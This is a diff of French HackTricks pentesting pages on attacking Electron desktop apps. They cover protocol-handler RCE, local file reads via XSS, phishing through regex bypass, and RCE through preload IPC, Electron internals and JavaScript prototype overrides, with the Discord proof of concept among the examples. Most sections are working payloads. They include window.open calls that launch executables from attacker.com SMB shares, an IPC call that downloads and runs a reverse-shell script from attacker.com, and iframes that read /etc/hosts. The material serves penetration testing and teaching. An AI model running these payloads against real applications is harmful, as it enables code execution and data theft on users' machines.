Différents systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE, pour plus d'informations à leur sujet, consultez [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042), mais voici quelques exemples pour Windows :
|
||||
```html
|
||||
<script>
|
||||
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
|
||||
</script>
|
||||
|
||||
|
||||
<script>
|
||||
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
|
||||
</script>
|
||||
|
||||
|
||||
<script>
|
||||
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
|
||||
</script>
|
||||
```
|
||||
Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
## Lire des fichiers internes : XSS + contextIsolation
|
||||
|
||||
Si `contextIsolation` est défini sur false, vous pouvez essayer d'utiliser \<webview> (similaire à \<iframe> mais pouvant charger des fichiers locaux) pour lire des fichiers locaux et les exfiltrer : en utilisant quelque chose comme **\<webview src="file:///etc/passwd">\</webview>:**
|
||||
|
||||
|
||||
|
||||
Une autre façon de **lire un fichier interne** est expliquée dans ce [**writeup**](https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app):
|
||||
```html
|
||||
<br><BR><BR><BR>
|
||||
<h1>pwn<br>
|
||||
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
|
||||
<script type="text/javascript">
|
||||
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
|
||||
</script>
|
||||
```
|
||||
## **RCE: XSS + Ancien Chromium**
|
||||
|
||||
Si le **chromium** utilisé par l'application est **ancien** et qu'il présente des **vulnérabilités connues**, il est possible de l'**exploiter et d'obtenir une RCE grâce à une XSS**.\
|
||||
Vous pouvez voir un exemple dans ce **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Bypass regex URL interne**
|
||||
|
||||
Supposons que vous ayez trouvé une XSS mais que vous **ne pouvez pas déclencher de RCE ou voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des informations d'identification via le phishing**.
|
||||
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS côté front-end :
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre du bureau** car il s'agit d'un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**.
|
||||
|
||||
Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **ne protégeant pas les points des sous-domaines**), un attaquant pourrait exploiter la faille XSS pour **ouvrir une nouvelle fenêtre** qui se trouverait dans l'infrastructure de l'attaquant **et demanderait les informations d'identification** à l'utilisateur :
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## **Outils**
|
||||
|
||||
* [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil permettant d'identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
|
||||
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
|
||||
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables.
|
||||
* [**Electro.ng**](https://electro.ng/): Vous devez l'acheter.
|
||||
|
||||
## Laboratoires
|
||||
|
||||
Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s), vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.
|
||||
|
||||
Voici quelques commandes qui vous aideront dans le laboratoire :
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
|
||||
# Vuln to contextIsolation via preload script
|
||||
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
|
||||
# Vuln to IPC Rce
|
||||
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
|
||||
|
||||
# Get inside the electron app and check for vulnerabilities
|
||||
npm audit
|
||||
|
||||
# How to use electronegativity
|
||||
npm install @doyensec/electronegativity -g
|
||||
electronegativity -i vulnerable1
|
||||
|
||||
# Run an application from source code
|
||||
npm install -g electron
|
||||
cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## **Références**
|
||||
|
||||
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
||||
* Plus de recherches et d'articles sur la sécurité d'Electron dans [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,77 @@
|
|||
# Electron contextIsolation RCE via Electron internal code
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Exemple 1
|
||||
|
||||
Exemple provenant de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
|
||||
|
||||
L'écouteur d'événement "exit" est toujours défini par le code interne lorsque le chargement de la page est démarré. Cet événement est émis juste avant la navigation :
|
||||
```javascript
|
||||
process.on('exit', function (){
|
||||
for (let p in cachedArchives) {
|
||||
if (!hasProp.call(cachedArchives, p)) continue
|
||||
cachedArchives[p].destroy()
|
||||
}
|
||||
})
|
||||
```
|
||||
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
|
||||
|
||||
.png>)
|
||||
|
||||
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- N'existe plus
|
||||
|
||||
Ensuite, cela se passe ici :
|
||||
|
||||
.png>)
|
||||
|
||||
Où "self" est l'objet process de Node :
|
||||
|
||||
 (1).png>)
|
||||
|
||||
L'objet process a une référence à la fonction "require" :
|
||||
```
|
||||
process.mainModule.require
|
||||
```
|
||||
Comme le handler.call va recevoir l'objet process, nous pouvons le remplacer pour exécuter du code arbitraire :
|
||||
```html
|
||||
<script>
|
||||
Function.prototype.call = function(process){
|
||||
process.mainModule.require('child_process').execSync('calc');
|
||||
}
|
||||
location.reload();//Trigger the "exit" event
|
||||
</script>
|
||||
```
|
||||
## Exemple 2
|
||||
|
||||
Obtenez l'**objet require à partir de la pollution du prototype**. Depuis [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
Fuite :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Exploitation :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (35).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,116 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Si le script de préchargement expose un point de terminaison IPC à partir du fichier main.js, le processus de rendu pourra y accéder et, s'il est vulnérable, une RCE pourrait être possible.
|
||||
|
||||
**Tous ces exemples ont été tirés d'ici** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
|
||||
|
||||
# Exemple 1
|
||||
|
||||
Vérifiez comment `main.js` écoute sur `getUpdate` et **télécharge et exécute n'importe quelle URL** passée.\
|
||||
Vérifiez également comment `preload.js` **expose tout événement IPC** depuis le main.
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
ipcMain.on('getUpdate', (event, url) => {
|
||||
console.log('getUpdate: ' + url)
|
||||
mainWindow.webContents.downloadURL(url)
|
||||
mainWindow.download_url = url
|
||||
});
|
||||
|
||||
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
|
||||
console.log('downloads path=' + app.getPath('downloads'))
|
||||
console.log('mainWindow.download_url=' + mainWindow.download_url);
|
||||
url_parts = mainWindow.download_url.split('/')
|
||||
filename = url_parts[url_parts.length-1]
|
||||
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
|
||||
console.log('downloadPath=' + mainWindow.downloadPath)
|
||||
// Set the save path, making Electron not to prompt a save dialog.
|
||||
item.setSavePath(mainWindow.downloadPath)
|
||||
|
||||
item.on('updated', (event, state) => {
|
||||
if (state === 'interrupted') {
|
||||
console.log('Download is interrupted but can be resumed')
|
||||
}
|
||||
else if (state === 'progressing') {
|
||||
if (item.isPaused()) console.log('Download is paused')
|
||||
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
|
||||
}
|
||||
})
|
||||
|
||||
item.once('done', (event, state) => {
|
||||
if (state === 'completed') {
|
||||
console.log('Download successful, running update')
|
||||
fs.chmodSync(mainWindow.downloadPath, 0755);
|
||||
var child = require('child_process').execFile;
|
||||
child(mainWindow.downloadPath, function(err, data) {
|
||||
if (err) { console.error(err); return; }
|
||||
console.log(data.toString());
|
||||
});
|
||||
}
|
||||
else console.log(`Download failed: ${state}`)
|
||||
})
|
||||
})
|
||||
```
|
||||
|
||||
```javascript
|
||||
// Part of code of preload.js
|
||||
window.electronSend = (event, data) => {
|
||||
ipcRenderer.send(event, data);
|
||||
};
|
||||
```
|
||||
Exploitation :
|
||||
```html
|
||||
<script>
|
||||
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
||||
</script>
|
||||
```
|
||||
# Exemple 2
|
||||
|
||||
Si le script de préchargement expose directement au rendu une manière d'appeler shell.openExternal, il est possible d'obtenir une RCE.
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
shell.openExternal(url);
|
||||
};
|
||||
```
|
||||
# Exemple 3
|
||||
|
||||
Si le script de préchargement expose des moyens de communiquer complètement avec le processus principal, une XSS pourra envoyer n'importe quel événement. L'impact de cela dépend de ce que le processus principal expose en termes d'IPC.
|
||||
```javascript
|
||||
window.electronListen = (event, cb) => {
|
||||
ipcRenderer.on(event, cb);
|
||||
};
|
||||
|
||||
window.electronSend = (event, data) => {
|
||||
ipcRenderer.send(event, data);
|
||||
};
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,108 @@
|
|||
# Electron contextIsolation RCE via preload code
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Exemple 1
|
||||
|
||||
Exemple provenant de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
||||
|
||||
Ce code ouvre les liens http(s) avec le navigateur par défaut :
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Quelque chose comme `file:///C:/Windows/systemd32/calc.exe` pourrait être utilisé pour exécuter une calculatrice, mais `SAFE_PROTOCOLS.indexOf` l'en empêche.
|
||||
|
||||
Par conséquent, un attaquant pourrait injecter ce code JS via une XSS ou une navigation de page arbitraire :
|
||||
```html
|
||||
<script>
|
||||
Array.prototype.indexOf = function(){
|
||||
return 1337;
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Comme l'appel à `SAFE_PROTOCOLS.indexOf` renverra toujours 1337, l'attaquant peut contourner la protection et exécuter la calculatrice. Exploit final :
|
||||
```html
|
||||
<script>
|
||||
Array.prototype.indexOf = function(){
|
||||
return 1337;
|
||||
}
|
||||
</script>
|
||||
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
||||
```
|
||||
Consultez les diapositives originales pour d'autres façons d'exécuter des programmes sans demander la permission.
|
||||
|
||||
Apparemment, une autre façon de charger et d'exécuter du code est d'accéder à quelque chose comme `file://127.0.0.1/electron/rce.jar`
|
||||
|
||||
## Exemple 2: RCE de l'application Discord
|
||||
|
||||
Exemple provenant de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
||||
|
||||
Lors de la vérification des scripts de préchargement, j'ai découvert que Discord expose la fonction, qui permet d'appeler certains modules autorisés via `DiscordNative.nativeModules.requireModule('NOM-DU-MODULE')`, dans la page web.\
|
||||
Ici, je ne pouvais pas utiliser directement des modules pouvant être utilisés pour RCE, tels que le module _child\_process_, mais j'ai **trouvé un code où RCE peut être réalisé en remplaçant les méthodes JavaScript intégrées** et en interférant avec l'exécution du module exposé.
|
||||
|
||||
Voici la preuve de concept. J'ai pu confirmer que l'application **calc** est **affichée** lorsque j'appelle la fonction `getGPUDriverVersions` qui est définie dans le module appelé "_discord\_utils_" depuis devTools, tout en **remplaçant `RegExp.prototype.test` et `Array.prototype.join`**.
|
||||
```javascript
|
||||
RegExp.prototype.test=function(){
|
||||
return false;
|
||||
}
|
||||
Array.prototype.join=function(){
|
||||
return "calc";
|
||||
}
|
||||
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
|
||||
```
|
||||
La fonction `getGPUDriverVersions` tente d'exécuter le programme en utilisant la bibliothèque "_execa_", comme suit :
|
||||
```javascript
|
||||
module.exports.getGPUDriverVersions = async () => {
|
||||
if (process.platform !== 'win32') {
|
||||
return {};
|
||||
}
|
||||
|
||||
const result = {};
|
||||
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
|
||||
|
||||
try {
|
||||
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
|
||||
} catch (e) {
|
||||
result.nvidia = {error: e.toString()};
|
||||
}
|
||||
|
||||
return result;
|
||||
};
|
||||
```
|
||||
Généralement, _execa_ essaie d'exécuter "_nvidia-smi.exe_", qui est spécifié dans la variable `nvidiaSmiPath`. Cependant, en raison de la substitution de `RegExp.prototype.test` et `Array.prototype.join`, **l'argument est remplacé par "**_**calc**_**" dans le traitement interne de \_execa**\_**.
|
||||
|
||||
Plus précisément, l'argument est remplacé en modifiant les deux parties suivantes.
|
||||
|
||||
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
||||
|
||||
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -127,9 +127,9 @@ alert(1);
|
|||
test.cookie('leo','INJECTION')
|
||||
test['cookie','injection']
|
||||
```
|
||||
Pour plus d'informations sur le Hoisting Javascript, consultez: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
|
||||
Pour plus d'informations sur le hoisting JavaScript, consultez: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
|
||||
|
||||
### Fonction Javascript
|
||||
### Fonction JavaScript
|
||||
|
||||
Plusieurs pages web ont des points d'extrémité qui **acceptent en tant que paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut trouver est quelque chose comme : `?callback=callbackFunc`.
|
||||
|
||||
|
|
